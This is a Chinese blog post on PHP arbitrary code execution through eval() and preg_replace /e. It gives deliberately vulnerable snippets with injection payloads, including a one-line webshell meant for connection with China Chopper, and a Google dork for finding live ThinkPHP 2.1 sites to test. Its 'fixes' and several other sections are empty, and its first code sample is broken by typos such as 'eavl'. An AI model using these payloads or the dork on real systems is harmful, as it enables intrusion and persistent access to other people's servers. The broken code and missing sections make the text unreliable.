任意代码执行漏洞

发布时间:2020-05-29 12:42:20 作者:nw01f
来源:网络 阅读:3278

0x00 什么是任意代码执行


0x01 为什么存在任意代码执行


0x02 为什么使用执行代码函数

function string2array(%data){
    if($data == '')
        return array();
    @eavl("\$array = $data");
    return $array;
}
//当 $data 接受的字符串是这样时:
$data = "array(
    'upload_maxsize' => '2048',
    'upload_allowext' => 'jpg|jpge|gif|bmp|png|doc|docx|xls|xlsx|ppt|pptx|pdf|txt|rar|zip|swf',
    'watermark_enable' ==> '1',
    )"
//通过eval()函数就可以将字符串‘array(....)’作为数组赋值给$array,这样会大大的提升代码的灵活性和简洁性。


0x03 漏洞分类


0x04 漏洞利用(本地测试)

#1:
<?php
$data = $_GET['data'];
eval("\$ret = $data;");
echo $ret;
/*
    payload:
        ?data=phpinfo()
        ?data=1;phpinfo()
        ?data=${phpinfo()}
        ?data=${@eval($_POST[x])}  #一句话***,可以用菜刀连接
*/
 ?>
 
#2:
<?php
$data = $_GET['data'];
echo "\$ret= '$data'";
eval("\$ret = strtolower('$data');");
echo $ret;
/*
    payload:
        ?data=');phpinfo();//
        ?data=');@eval($_POST[a]);//
*/
 ?>
 
#3:
<?php
$data = $_GET['data'];
eval("\$ret = strtolower(\"$data\");");
echo $ret;
/*
    payload
        ?data={${phpinfo()}}
        ?data=1");phpinfo();//
        ?data=${@eval($_POST[x])}
*/
 ?>
<?php
$data = $_GET['data'];
echo $data;
preg_replace('/<data>(.*)<\/data>/e', '$ret = "\\1";',$data);
echo $ret;
/*
    payload:
        ?data=<data>${phpinfo()}</data>
    注:PHP 5.5.0 /e 修饰符已经被弃用
*/
 ?>


0x05 修复方案


0x06 实例测试

intext:thinkphp intext:"Fast & Simple OOP PHP Framework"intext:"2.1"
为什么thinkphp这个版本存在 任意代码执行 漏洞,出现漏洞的代码是什么我在这就不提了,大家
有兴趣的可自行百度。

任意代码执行漏洞

任意代码执行漏洞

解释下这句:getcwd() 返回当前工作路径
            print()  打印一下
            exit()   停止加载,网站停止渲染只会显示当前工作路径

任意代码执行漏洞

推荐阅读:
  1. 利用Vulnhub复现漏洞 - Couchdb 任意命令执行
  2. Oracle Java SE 任意代码执行漏洞加固

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

代码 执行 任意

上一篇:Docker容器中Dockerfile配置文件的介绍

下一篇:如何用String优化字符串?

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》